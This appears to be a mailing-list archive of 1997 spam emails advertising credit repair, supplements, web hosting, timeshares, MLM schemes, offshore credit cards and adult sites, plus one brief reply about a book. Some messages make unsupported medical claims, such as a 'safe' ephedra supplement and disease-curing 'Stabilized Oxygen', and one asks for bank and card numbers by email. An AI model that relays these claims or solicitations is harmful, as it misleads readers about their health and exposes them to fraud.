From: relay@relaynet.com
Date: Sat, 5 Jul 1997 14:37:39 -0700 (PDT)
To: relay@relyaynet.net
Subject: The easiest credit repair and improvement kit
Message-ID: <199707052127.QAA23148@mailhost.chicago.il.ameritech.net>
MIME-Version: 1.0
Content-Type: text/plain


Hey Everybody!!!

If you will be applying for a mortgage (or, any other kind of
loan) soon, or, if you have been denied credit recently, or,
if you suspect that your credit report contains errors, you
will find this credit repair kit incredibly useful.

The easiest do-it-yourself credit repair kit, C-Repair, was
designed to help you get the top-notch credit rating - using
the same legal methods for which 'Credit Repair' attroneys
charge thousads of dollars. It can help you get Credit Cards
if you have been denied credit. It also provides information
on your rights and consumer credit related laws.

For more details visit us on the Web (Sometimes this site gets
very busy. If you get an error, just try us back at a later
time, or, e-mail us at the address given below). Our homepage
is http://www.digital-market.com/~usefulsoftware/. We can also
e-mail you a free, no obligation demo copy. Please e-mail us
at usefulsoftware@digital-market.com.

=============================================================
This is a one time mailing. We will not e-mail you at this
address again.
=============================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ballman@t-1net.com
Date: Sun, 6 Jul 1997 05:35:35 -0700 (PDT)
To: buy.golfballs@lower.prices
Subject: golf stuff
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain





=====> WE WANT YOU TO KNOW MORE ABOUT GOLF BALLS <=======

Lets Take Air For Example....

All of us know how tough it is to hit a good shot in windy conditions.
We assume therefore that air is just another natural element we must
out wit in order to score well.  In reality, AIR is what makes it
possible for us the hit the ball as far as we do.  The SPIN we impart
on a ball actually gives the ball lift, much like the wing on an
aircraft imparts lift.  This lift makes it possible for the ball to
stay airborne longer, enabling it to travel farther.

In a vacuum, the average 250 yard drive would only travel about 180
yards.  A winged aircraft would not fly.

Air is your Friend....::))

Now here's one for you......Does a ball fly farther on a hot dry day
or cold wet day??....How about a hot humid day or a cold dry day ?

Let me know what you think.

Golfballs Unlimited USA reclaims balls from over 130 courses in 13 
states.  We stock over 50 varieties of balls.  If you're an average
player, by the time you have played 3 holes with a new ball, you are 
playing with a ball that's in much worse condition than our premium balls.

We offer the highest possible quality recycled balls available...at
direct pricing....HUGE SAVINGS over new balls.  Yes we have BALATAS.

Customer Satisfaction Is Absolutely Guaranteed.

If you would like a free catalog, just send me an email.

Click Here For Free Catalog


Regards,

Dana Jones
The Ballman
ballman@t1-net.com


Our Mission:  To Be The Best (As Determined By Our Customers)
Suppliers of Quality Recycled Golf Balls

BUY SELL TRADE


ps..I have worked carefully to see that this educational information goes only to
those who may have an interest. If you do not, please send me back an 
email with remove as the subject.  I will not mail to you again.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: websp@wsp1.websp.com
Date: Sun, 6 Jul 1997 04:42:27 -0700 (PDT)
Subject: Inexpensive Web Space
Message-ID: <199707061139.HAA06025@wsp1.websp.com>
MIME-Version: 1.0
Content-Type: text/plain


We are a new company in the Internet Presence Provider business,
appropriately named The WebService Provider. We are looking for new
customers who need a place to host their web pages. We offer premium
services at a low price.  Our services range from email addresses to
virtual domains.  Most providers in this area of business give you a
small amount of space to host your web pages for the same price as ours.  

Check out our web page at http://www.websp.com to sign up or for more
information.

Our prices:
Type:                   Monthly Fee:   Setup Fee:   Includes:    
Personal Account        $15            $0           20MB CGI 1 Email
Business Account        $25            $0           40MB CGI 5 Email
Virtual Domain          $0!!!          $30*         www.yourname.com 
Virtual Host            $0!!!          $30          yourname.websp.com
Shell Account           $10            $0           10MB 1 Email
Email Address           $5             $5           1 Email (pop or pine)
* excluding $100 InterNIC fee

Here are some questions we asked ourselves when starting up our web
hosting business.


Why you should have a web page for yourself or your business?

Having a web page gives you an inexpensive way to reach potentially
millions of people.  The World Wide Web is one of the fastest growing
mediums in today's society.  So, you only have the possiblity to reach
more people.  With a web page you can spread your ideas, services,
and products.  When you sign up for our service you not only get space for
your web pages on our server, but an email address that your net visitors
can respond to you at instantaneously.  You can can get feedback about
your page immediately through your email address.  


Why should your web page be hosted with The WebService Provider?

The WebService Provider has the invested its money in the fastest
technology available to us.  We have a Pentium Pro Web Server with 64MB of
RAM (soon to be 128MB), and a 10/mbs connection (almost 10 times the speed
of a T1) to our T3 (45 times the speed of a T1) provider.  Our connection
is solely dedicated to your web pages.  We don't have dial-in customers
bogging down the connection that is supposed to be for serving your web
pages.

We not only have the technical side, but if you have a problem we are here
to answer it.  All email is responded to the same day, and if we don't
have an answer for you, we'll get back to you the same day letting you
know what the story is.  All of our employees have an extensive background
in the Internet and in system administration.


Why should you sign up with The WebService Provider and not your current
Internet Service Provider?

If you sign up for web space at your current ISP, and you move, so does
your web page and your email address.  With the WebService Provider your
web page address (url) and email address never change no matter what ISP
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Please visit our web page at www.websp.com, we look forward to hearing
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provide feel free to email us at info@websp.com (human email).

Thanks,
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***
If you did not want to recieve this message don't worry we will never
send it to you again.  Sorry!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ysidro1@earthlink.net
Date: Sun, 6 Jul 1997 16:52:46 -0700 (PDT)
To: ysidro1@earthlink.net
Subject: Hi
Message-ID: <29438596_82902697>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: toner98@hotmail.com
Date: Sat, 6 Dec 1997 20:36:40 -0800 (PST)
To: Friend@public.com
Subject: TONER
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain





                    BENCHMARK PRINT SUPPLY
                      1091 Redstone Lane
                       Atlanta GA 30338
                         (770)399-0953

                    ***NEW ANNOUNCEMENT****

          OUR NEW, LASER/FAX TONER CARTRIDGE,PRICES 
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           IBM/LEXMARK SERIES 4019,4029,4039,4049,OPTRA
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: health@infogate.co.il
Date: Mon, 7 Jul 1997 03:22:46 -0700 (PDT)
To: health@infogate.co.il
Subject: Attorney
Message-ID: <199707071022.DAA19806@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


///////////////////////////////////////////////////////////////////////
To comment or to have your address removed from our mailing list, see 
the end of this message.
///////////////////////////////////////////////////////////////////////

Put your own personal, business, or corporate attorney on retainer for only $70.  

Why pay $200.00 to $500.00 per hour for legal work?  Our staff of experienced 
attorneys are at your service.  Among the services provided are:

*  Legal writing and lawyer letters
*  Drafting and reviewing contracts and briefs
*  Research, advice, and opinions
*  Tax law
*  Real Estate
*  Negotiations and arbitrations
*  Accidents
*  Leases
*  Wills and trusts

You never have to leave the comfort of your home or office.  All work 
is done by phone, fax, or email.  You pay a monthly fee of only $70.  
The first hour each month is FREE and you pay only expenses plus 
$50 for each additional hour regardless of the type of work.

UNCONDITIONAL GUARANTEE - If you are not satisfied you will not 
be charged.  It's as simple as that.  

Note:  To protect your privacy, our name, address, and phone, fax and 
private email numbers will only be divulged to our clients. 

Don't get stuck paying one third of a cash settlement or a huge fee to an 
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at your finger tips.

To become our client, simply pay the $70 retainer fee for the first month.  Upon 
receipt of your retainer, we will send our contract of representation immediately.  
You can pay by Credit Card or Check by replying with the following information:

Your Name: 
Your Address: 
Your City, State, Zip: 
Your Phone, FAX, and Work Numbers: 
Your Email Address: 

CREDIT CARDS ONLY 

Name on card: 
Card Number: 
Expiration Date (Month and Year): 
Billing Address of Card: City, State, Zip:

CHECKS ONLY

Name Printed on Checks (must be authorized signer): 
Address on Checks: 
City, State, Zip: 
Bank Name: 
Bank Address: 
Bank Transit Number (Fraction in upper right corner of 
check, example 67-8/1442): 
Check Number: 
Checking Account Number: 
Bank Routing Number (9 digit number between colons):
Computer Number at the bottom left (include entire number with 
spaces and colons): 

When you submit your payment, you will be entitled to any type of 
legal work or representation that can be rendered by mail, phone, 
FAX, or email.  The first hour per month is FREE.  Each additional 
hour is $50 per hour plus expenses.   $70 per month will automatically 
be charged to your credit card or checking account.  You may cancel 
your contract at any time without penalty.  If you are not satisfied with 
our work, your hourly payment will be refunded.  You will receive a 
Credit Card or Check receipt monthly by your choice of regular 
mail, FAX, or email.

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 
Read carefully, important information for only those NOT wishing 
to becomes clients. 

**  The sender of this message hereby rejects any and all 
offers of product or services.
**  The sender of this message hereby gives notice that any 
replies to this message that do not contain legitimate credit card or 
bank account numbers of a person wishing to become a client are 
discarded automatically without being read or acted upon.
**  If anyone not wishing to become a client has questions or 
comments, please phone 513-763-3884. 
**  The sender of this message hereby gives notice that due to system 
automation if, and only if, a reply has the word "remove" in the "Subject" 
field (not the message), is the address guaranteed to be removed from 
the mailing list.   
**  In most programs, If you double click to the right of the arrow below, 
the word "remove" will be written in the "Subject" field of the reply email 
for you!  Then, just send the message.

double click here ==> coloractionlabs@nevwest.com?subject=remove 

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 25532129@@server
Date: Mon, 7 Jul 1997 18:16:17 -0700 (PDT)
To: U@YourDomain.com
Subject: I Lost 4 lbs. in 4 Days...Without Dieting!!!
Message-ID: <393859c@GM49g8r.com>
MIME-Version: 1.0
Content-Type: text/plain


**************************************

EAT THE FOODS YOU LOVE

NO WILL POWER REQUIRED

**************************************

Anyone who has struggled to lose weight, like I did, 

can tell you DIETS ALONE DON'T WORK !  

That's because the difference between thin and overweight 

individuals has more to do with metabolic rate than what 

they eat.  It's believed most lean individuals have a

metabolism designed to BURN FAT !



We have designed a product that works

several ways to help you achieve maximum

results from your weight-loss program. This

unique blend of herbs, botanicals and Chromium

Picolinate, improves your metabolism so

your body relies more on stored fat and 

less on stored proteins.



"LOSE THE FAT....

       NOT THE MUSCLE"



Typically, up to 30% of lost weight is

muscle.  This lowers your metabolic rate and

slows calorie-burning.  This lowered metabolic

rate makes it hard to keep lost pounds from

creeping back.  Result: the "Yo-Yo" syndrome

in which weight is repeatedly lost and then 

regained.  After each lose-gain cycle the 

portion of fat increases.



To break this vicious cycle, it is important

to lose only fat while maintaining, or even 

increasing muscle.  Studies show that optimal

chromium nutrition is an effective part of long-term

fat-loss programs.  Our unique formula of 

specialized herbs and botanicals is coupled 

with the best source of chromium available,

patented Chromium Picolinate.



HERE'S EVIDENCE !



Several double-blind crossover studies

conducted along with clinical and laboratory

tests at a leading university and hospital have 

proven that the ingredients in this product are 

effective.



Without changing dietary or exercise

habits, over a six-week period, subjects in 

separate studies lost an average of 23% body fat or

approximately 4.4 lbs. of fat, and increased lean 

body mass by 1.5 lbs.



People over the age of 46 did even better,

and women seemed to do the best.  People

with elevated cholesterol levels averaged a 10%

drop in LDL cholesterol.



          WHAT EXACTLY IS 

      CHROMIUM PICOLINATE?



It's a bioactive chromium with clinically

proven benefits.  Chromium is vital to

good health and is essential for the efficient

functioning of insulin.  Poor responsiveness to 

insulin is common and is linked with increased

risk of being overweight, heart disease, elevated

blood fat, high blood presure and diabetes.



Over 90% of American diets provide much

less than the minimal amount of chromium

recommended by The National Academy

of Science.  Most forms of chromium are not

easily absorbed by the body, but chromium

picolinate, being bioactive, is easily absorbed.

In fact, it has been shown to reduce body fat,

lower cholesterol and even reduce elevated

block-sugar in diabetics.



THE DIET BREAKTHRU OF THE CENTURY !!



"Over the last 10 years, I have tried a variety of 

weight loss methods, spent thousands of dollars 

and failed at all of them.  By December 1995, I

was the heaviest I had ever weighed-235 lbs.

I had no energy.  My self-esteem had hit rock

bottom... I was introduced to Thermo Lift and 

have never looked back! My energy level has

boosted and my weight loss increased... In total

I have lost 70 lbs. and went from a size 22 to a

size 12.  The most amazing part - It's So Easy!"

Becky



"I began using Thermo-Lift the seventh week of 

gymnastics training to achieve a specific result: a

washboard stomach.  By the end of the eighth week

all I could see were solid stomach muscles!  I

recommend Thermo-Lift to all my muscle therapy

clientele for its superior fat burnng and muscle toning

abilities."   Chris



"I had tried everything to lose weight but nothing worked.

With Thermo-Lift I was amazed at how quickly I lost

weight - 4 pounds in 4 days! My energy level has 

sky rocketed and it's helped me curb my chocolate  

binges.  Thanks!!"       Gloria



      100% SAFE AND NATURAL!

!

       THE INGREDIENTS



Chromium Picolinate: Helps your body use stored fat for

energy while maintaining lean muscle mass.



Bee Pollen:  Effective for combating fatigue,

depression, and colon disorders.



Siberian Ginseng:  Is a good source of energy and

endurance, as well as mental and physical vigor.



Gota Kola:  Aids in the elimination of excess fluids, 

fights fatigue and depression.



Guarana Extract:  Increases mental alertness and fights

fatigue.  A very high energy source.



Ma Huang Extract:  Helps to increase energy; controls

appetite.



Also includes:  White Willow Bark, Bladderwrack, 

Reishi Mushroom, Rehmannia Root, Ginger Root,

Licorice Root, and Astralagus.



     NUTRITIONAL BREAKTHROUGH!



Now You Can Safely Shed Unwanted Fat -

Without Dieting Or Strenuous Exercise!  It's The

Way To Firm Up Without Giving Up The Food

You Love!



            IT'S SO EASY !



All You Do Is Take One Capsule Twice A Day!

No Messy Powders! No Starvation Diets! You'll

Lose Weight And Feel Great!



          IT REALLY WORKS!



Thermo Lift Improves Your Metabolism So Your

Body Burns Excess Fat!  The Result Is A Leaner, 

Trimmer, Firmer Physique!!



     Order your Thermo-Lift today!

     One - month supply is only $32.95



Fill out and Mail In:

YES!! Please rush me a one - month supply of 

Thermo-Lift!  Enclosed is a check/money order for

$32.95.



Name:___________________________



Address:_________________________



City:____________________________



State:____________Zip:____________



Phone:__________________________



Email Address:____________________





Mail to:

Dynamic Marketing Solutions

Dept. DVL707

10506 Eagle Glen

Houston, Tx 77041



The information contained in the report was derived from many medical,

nutrional and media publications.  It is not intended for medical or nutritional

claims but for information and educational purposes.  Please consult a health

professional should the need for one be indicated.





This is a NO DIET, NO WILL POWER, 

easy  to LOSE WEIGHT!!



Lose Weight, Eliminate FATIGUE, and FEEL GREAT!!!




















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: user329@ybecker.net
Date: Tue, 8 Jul 1997 01:06:59 -0700 (PDT)
To: user329@ybecker.net
Subject: You Might Find This Interesting & Informative.  I Did.
Message-ID: <011297055501222@g_health.com>
MIME-Version: 1.0
Content-Type: text/plain



FOR IMMEDIATE RELEASE

                    BIO/TECH NEWS  -  Special Edition

Millions of men and women are dying each year from chronic degenerative
diseases. But today, a growing number of top medical researchers from around
the country believe that many of these tragic deaths might be prevented if
people began oxygenating the cells and tissues of their bodies with a power-
ful but little-known supplement developed for the NASA astronauts called
Stabilized Oxygen. As the BIO/TECH News reveals, scientists have recently
discovered an amazing fact: Many victims of degenerative diseases have one
unusual thing in common -- they have extremely low levels of oxygen in their 
cells, tissues and bloodstream. But the truly good news is that according to
the experts, the benefits of taking Stabilized Oxygen on a daily basis
appear to be: increased oxygen uptake at the cellular level, a dramatic
boost in energy levels, a strengthened immune system, heightened concentration
and alertness, a calming effect on the nervous system, rapid destruction of
infectious bacteria, viruses, fungi, and parasites without harming beneficial
microorganisms needed by the body, greatly enhanced uptake of vitamins,
minerals, and other essential nutrients.

Frankly, we believe that the extraordinary new information contained in this 
powerful issue of the BIO/TECH News is so important to your health and to
your current and future quality of life, that we want you to have this issue
at absolutely  no cost to you. You won't find this kind of vital, completely
unique inside information anywhere else. It's available ONLY in the pages of
the BIO/TECH News.

For information on how you can receive your free copy of the BIO/TECH News,
simply reply "Send BIO/TECH Info" to camelot@savetrees.com and we'll send it to
you immediately upon your request.

                                                            - 30 -








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: markdan@wans.net
Date: Tue, 8 Jul 1997 02:11:19 -0700 (PDT)
To: markdan@wans.net
Subject: Free Florida Vacation
Message-ID: <0000000000.AAA000@wans.net>
MIME-Version: 1.0
Content-Type: text/plain



6 Days / 5 Nights
Daytona Beach
Orlando / Kissimmee

* 4 Star Rated Hotel/Motel

* Requirements
Age: Between 25-65
Income: $35K or Greater
Marital Status: Married

* NO DEPOSIT REQUIRED TO ORDER OR USE CERTIFICATE
* Suggested Fair-Market Value: $450
* Certificate Good for 1-Year!
* NO PURCHASE NECESSARY

* Must Attend a 1-Hour Presentation of Interval Ownership at each destination.
* Must Stay in Each Location



* Reply E-Mail to "promo@cmpu.net" With your Name and Mailing Address.

* This advertisement is being used for the purpose of soliciting Interval Ownership time periods.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: img@llv.com
Date: Tue, 8 Jul 1997 14:30:50 -0700 (PDT)
To: friend@public.com
Subject: Home-based Business Opportunity
Message-ID: <199706190025.GAA08056@lllv.com>
MIME-Version: 1.0
Content-Type: text/plain


"Get Rich Quick - Chain Letters - MLM - Millionaires"

What's your dream?  A new car?  A new home?
Financial security?  I sincerely believe that these
dreams - and others - are available on the WWW.

With Internet Marketing, your income is limited
only by your ambition and your willingness to
learn.

Over the past year, I've personally invested over 
$50,000 in the research and development of what 
I consider to be the most viable and realistic Internet
Business Opportunities. 

It is my plan to share my knowledge and marketing
experience of over 30 years with a limited number
of Associates throughout the world.

You can be one of those Associates.  You can
realize your personal financial dreams.

A well-known adage goes, "today is the first day of
the rest of your life" - another, "if you always do
what you've always done, you'll always get what
you've always gotten."

I'd like to help you change your future.  I'd like
to help you find your dream.  For, I believe
sincerely, through helping others realize their
hopes and dreams, I can realize my goals.

My name is Jack Shearin and I'm the Founder of
Internet Marketing Group International.  This
organization is dedicated, as its name implies,
to the marketing of products and services over
the Internet.

I'd like to extend my personal invitation to you to
visit our Web Site at http://www.imgi.com to
check out what is perhaps one of the most exciting
Home-Based Business Opportunities in 'Cyberia'.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ameritech.net subscriber email information" <promoweb@ameritech.net>
Date: Wed, 9 Jul 1997 08:50:45 -0700 (PDT)
To: promoweb@ameritech.net
Subject: Adults ONLY
Message-ID: <18725478612534@hottotal.com>
MIME-Version: 1.0
Content-Type: text/plain


Catch your favorite stars & supermodels with their clothes off!!!

The hottest collection on the web!!!

CLICK HERE!!!

Discount Adult XXX Videos!!!  You'll have to see these prices to believe them!!!

CLICK HERE!!!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: zx325s7xv@uunet.uu.net
Date: Thu, 10 Jul 1997 12:28:06 -0700 (PDT)
To: dynamarket@vapor.net</A>
Subject: Question...
Message-ID: <dynamarket@vapor.net>
MIME-Version: 1.0
Content-Type: text/plain


Question: What would it be worth to you:

If you are in a RELATIONSHIP... to gain the understanding
and knowledge to make love last forever?

If you are a PARENT... to learn proven, effective techniques
to give your children the gift of self esteem, and teach them
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potential?

If you are in BUSINESS... to increase your negotiating power
to save on your bottom line, or to acquire ideas, concepts
and strategies to increase your profits?

If you are in SALES... to double your sales in the next six
months?

If You Have a CAREER... to earn promotions faster, gain the
latest techniques to manage and motivate your team, and
learn how to become more effective at managing your time?

If you care about your FINANCES... to build a secure "financial
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If you care about your HEALTH... to get the latest information
on nutrition and workout techniques to help you live longer and
get the most out of life?

<><><><> Seminars in Your Living Room <><><><>

What would it be worth to magically beam the greatest
counselors in the country right into your living room? Just a
few of the top names include:

- Og Mandino
- Mark Victor Hansen
- Brian Tracy
- Les Brown
- Paul J. Meyer
- and many more!
 
Major corporations routinely spend nearly $1 million to hire
these success coaches for just one day!

Interested in learning more? Please visit:
http://www.windansea1.com/tpnref.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: markdan@nt1.azone.net
Date: Thu, 10 Jul 1997 23:54:22 -0700 (PDT)
To: markdan@nt1.azone.net
Subject: Major International Credit Card
Message-ID: <0000000000.AAA000@azone.net>
MIME-Version: 1.0
Content-Type: text/plain


A lot of others talk about it!
               THEY DID IT!

                 $5000.00
     Major International Credit Card

     GUARANTEED  UNSECURED!
   Regardless of Credit History
        Even Bankruptcy!

No Social Security Number Needed! No Credit or Bad Credit? It
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Guaranteed approval from Offshore Financial Institution
 6.95% starting
 Minimum $5,000.00 Credit Limit!
 Maximum $15,000.00 Line of Credit!
 This is a Legitimate Offer!
 Registered with Better Business Bureau 
 
Last year 20 million were turned down by banks for credit
cards...even if you don't need or don't want a credit card,
thousands of people do!
 
And as a Bonus An Opportunity to Make More Money!
Everyone you refer you make $25.00 Checks paid weekly.
With a filled matrix you receive $4,841.24 MONTHLY
Must be 18 years or older

For Enrollment And Information Packet <A HREF="http://rensaw.com/dls/creditcard.html
">Click Here</a>

or visit:   http://rensaw.com/dls/creditcard.html







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: FutureGate Web Services <submit@futuregate.com>
Date: Fri, 11 Jul 1997 03:38:05 -0700 (PDT)
To: Web-Site Exposure <cyberric@aol.com>
Subject: Submit Your Web-Site to 200+ engines/indexes
Message-ID: <199707111037.DAA18630@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


 FutureGate's new "Super-Submission 150" service is a quick,
 inexpensive and effective way to increase your web site traffic or
 "hits".  We will do the work required to make your site easier to
 find.  We submit your information to the most popular directories and
 search engines in use today, making your site easily accessible to
 the millions of people looking for what you have to offer on the web.

We will submit your web-site to 150 directories and search engines, at
a low introductory fee of $29.95.

Visit the web-site for details and a special bonus offer:

http://www.futuregate.com/supersubmit/


----------------------------------------------------------------------

To be removed from any future mailings, just reply with REMOVE in the
subject line.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: linkhost@hotmail.com
Date: Fri, 11 Jul 1997 16:21:09 -0700 (PDT)
To: linkhost@hotmail.com
Subject: At Last ! FREE HITS from SexSwap
Message-ID: <199707112215.SAA09349@loki.atcon.com>
MIME-Version: 1.0
Content-Type: text/plain


Sexswap is an effective hit generator that concentrates
all banner exchanges in the strongest segment of the internet...
the Adult Industry.

Any webmaster with an adult site can join. Fill out a short form, paste 
in some code, and upload your banner. Within minutes, you will be 
accumulating FREE banner advertising on hundreds of similar sex sites.

1 Fast and easy free hits
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Perhaps the most popular way to increase traffic is through banner-trades 
or link-swaps. These methods are effective, but also time consuming. A 
person can join Sexswap instantly and begin having his/her banner shown 
on hundreds of sites around the world.

2 Automated to save time and energy
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
In the old days, we'd surf over to an adult site, try to locate the 
webmaster's email, and then send a letter begging and pleading with the 
owner to trade 1 link. This is time intensive, and downright 
embarrassing. A person can join Sexswap in 3 minutes and begin 
accumulating FREE banner advertising for his/her site. No more searching, 
begging, or link verifying.

3 Banners! Not text-links
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Link-trades do get clicks, but banner-trades get more clicks and produce 
clicks of a more potent nature. The problem with trading banners is, your 
page eventually looks like freakin' circus after 4 or 5 trades. You can't 
trade banners endlessly since page real estate is at a premium, bandwidth 
is expensive, and surfers don't want to wait 17 minutes for your page to 
load. With the Sexswap code, your page gets one banner that changes with 
each load. You will be trading banner spots with hundreds of sites, yet 
only using one simple banner spot.

4 No java to bomb browsers
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Pyramids, consoles, and circle-loops...they are all brilliant creations, 
but many of them are written in Java, and many of them bomb your 
customer's browsers. 70-90% of the market uses Netscape and Internet 
Explorer, but there is still a segment of the population using rarer, or 
older browsers. 10%-20% isn't huge, but it is enough to make a dent in 
your pocket book. A bombed customer does not click on a link and does not 
make you cash. Sexswap is written in good old C++, a man's programming 
language,) fast and stable.

5 No side effects
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Pyramids, Consoles, and circle-loops all tend to advertise themselves, 
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your site when encountered by these new fangled advertising devises. 
Aesthetics...have you ever seen a console that made your page look 
better? Page-load times...these tricky java programs can slow down your 
page, and slowness can mean less surfers and less clicks. Sexswap 
requires only one simple banner be placed on your page. We even use our 
bandwidth to load the banners 

6 Real-time statistics
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Sexswap offers the following stats in real-time formats
Number of ads your site has shown: 
Number of times your ad was shown: 
Number of visits to your site: 
Click-thru ratio: 
Number of credits you have: 0 (2 credits = 1 ad display)

7 GIF - JPG - Animated GIF all supported
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Sexswap can use any of the big three banner formats. Many of our 
competitors do not allow animation...we love animated gifs. The banner 
requirements for Sexswap are 468x60, less than 15k in size. The banners 
on excite and infoseek also follow this standard format.

8 Ultra Fast Servers
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
The tech boys asked us to include the following info about our 
servers...the boys were talking fast, so please excuse any spelling 
errors...Tiam Tomcats with true Pentium Pro 200's, 128 ram, Dual 3 gig 
IDE w/2 controllers, 2 cards, 2 drives for redundancy, 100mb switch 
cards, Netscape Commerce, Sysco 7513 Base DAC Sincillians fiber optic to 
backbone, connected to 6 DS-3 bandwidth on demand, going to 9+ DS-3's in 
October. The tech boys say this means Sexswap is fast and has the power 
to grow at an fast rate.

You can join Sexswap at 
http://www.sexswap.com

Do it today and get your banner shown around the world within 3 minutes.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 84465615@10081.com
Date: Sat, 12 Jul 1997 17:52:58 -0700 (PDT)
To: friend@public.com
Subject: 5 FREE XXX Streaming Videos...
Message-ID: <109129.836@jumbo.com>
MIME-Version: 1.0
Content-Type: text/plain


Our research indicates the following information is of interest to you. If you prefer NOT
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: q2ds@q2dsuv.net
Date: Sat, 12 Jul 1997 17:52:05 -0700 (PDT)
To: Friend@inter.net
Subject: Just For You !!!
Message-ID: <81567042_11433757>
MIME-Version: 1.0
Content-Type: text/plain



******************************************************
      TO REPLY: SEE BOTTOM OF THIS PUBLIC NOTICE.
                " DO NOT PRESS REPLY "
******************************************************

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To be REMOVED from mailing list, E-mail:
carproinc@cyberpromo.com and type REMOVE in subject.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: david378eh@juno.com
Date: Sat, 12 Jul 1997 17:52:06 -0700 (PDT)
To: Friend@public.com
Subject: Hey Robbie, look what I found.
Message-ID: <199707120026.AAA24655@escape.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE>

You have got to check out this awesome 
web page I found!!!

      http://207.247.5.82/2449

<A HREF="http://207.247.5.82/2449">
CLICK HERE TO GO TO THE WEB PAGE !!! </A>

[ you must be over 18 years of age to access it.  :) ]














































</PRE></HTML>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: proff@iq.org
Date: Fri, 11 Jul 1997 12:21:23 -0700 (PDT)
To: humbles@new.co.za
Subject: Re: Underground extract: System X
In-Reply-To: <199707111910.VAA27565@sky.new.co.za>
Message-ID: <19970711192051.2426.qmail@iq.org>
MIME-Version: 1.0
Content-Type: text/plain


> > Anyone read this book? Apparently the first in-depth investigation
> > into the international computer underground to come out of the
> > Southern-Hemisphere - or so I'm told ;)  - J.A
> > 
> > Extracts from Underground - The true nature of System X
> > 
> >   Extracted from Chapter 10 - "Anthrax - The Outsider"
> >   
> >    Note: System X's name has been changed for legal reasons.
> >    
> 
> Do you know where I could get the full version of this book.
> Thanks 
> Dale
> E-Mail:  humbles@new.co.za

Try www.underground-book.org/order.html

Cheers,
Julian.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sol98hy7g@willy.kneehill.com
Date: Sat, 12 Jul 1997 17:41:51 -0700 (PDT)
To: Friend@public.com
Subject: Hey Danny, look what I found.
Message-ID: <199707121803.MAA03217@willy.kneehill.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT  COLOR="#ffff00" SIZE=5><B>You have got to check out this awesome 
web page I found!!!<A HREF="http://207.247.5.82/2449">
CLICK HERE TO GO TO THE WEB PAGE !!! </A>
<FONT  COLOR="#000000" SIZE=3>
<FONT  COLOR="#c0c0c0" SIZE=1>[ you must be over 18 years of age to access it.  :) ]



















































From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: trump@foursssst.com
Date: Sat, 12 Jul 1997 18:23:43 -0700 (PDT)
To: you@internet-wide.com
Subject: Your mail sent to me by mistake.
Message-ID: <199707130109.CAA09234@frog.>
MIME-Version: 1.0
Content-Type: text/plain









Did you know that as many as 70% of all Americans have 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: buyguy222@erols.com
Date: Sat, 12 Jul 1997 21:23:22 -0700 (PDT)
To: exchange77@aol.net
Subject: Int'l High School Exchange
Message-ID: <65724882_64764806>
MIME-Version: 1.0
Content-Type: text/plain



Have you ever thought about having a high school student from another
country come and stay with your family?  Chances are you have.  You
may have had a neighbor that "hosted" an exchange student.  Or your
child may have talked about the foreign student that was staying with
a friend of his.  But you may not have known how to bring this
experience into your home.

Pacific Intercultural Exchange (P.I.E.) has been matching high school
students with American host families for more than 20 years.  Since
1975, our experience and expertise has enabled us to bring together
more than 18,000 families from across the United States with students
from around the world.  These students, screened and prepared by our
overseas counterparts, come anxious to share their cultures with
American families, families just like yours.  Imagine sharing your
traditions with a teenager from another country.  What must it be like
to experience an American Halloween for the first time?  Can you
picture the expression of wonder that will fill the face of a child
when he witnesses the spectacle of an American Christmas in your
hometown?

P.I.E., a program designated by the United States Information Agency
and listed by the Council on Standards for International Educational
Travel, is prepared to assist your family in making this dream a
reality.  Our staff is working hard to match students from around the
world with host families in time to start the new school year this
August.  These students, who are between the ages of 15-18 years old,
